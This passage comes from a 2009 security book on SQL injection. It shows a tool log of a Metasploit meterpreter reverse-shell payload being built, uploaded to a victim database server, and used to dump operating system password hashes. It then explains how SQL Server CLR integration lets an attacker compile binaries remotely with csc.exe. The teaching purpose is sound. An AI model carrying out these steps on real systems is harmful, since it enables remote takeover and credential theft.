SQL Injection Attacks and Defense - 2009

2 443
[+] Calling msfpayload3 to create the payload ...
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 177
Options: exitfunc=process,lport=12345,lhost=192.168.217.128
[+] Payload (met13322.exe) created. Now converting it to debug script
[+] Uploading /tmp/met13322.scr debug script…
www.victim.com:1343) use priv hashdump
Bingo! The preceding code would give you interactive access on the remote database
server with which you have extracted the operating system password hashes.
SQL Server 2005 CLR integration gives you a way to compile much more complex
binaries on the remote system, but it also gives you the guarantee that the remote system has
a .NET runtime and also, by default, will have a .NET compiler. (Microsoft bundles the csc.exe
command-line compiler in the %windir%\Microsoft.NET\Framework\VerXX\ directory.)
This means that using the same technique, you can create a source file line by line and call
the csc.exe compiler to build it for you with no restrictions, as demonstrated in Figure 6.18.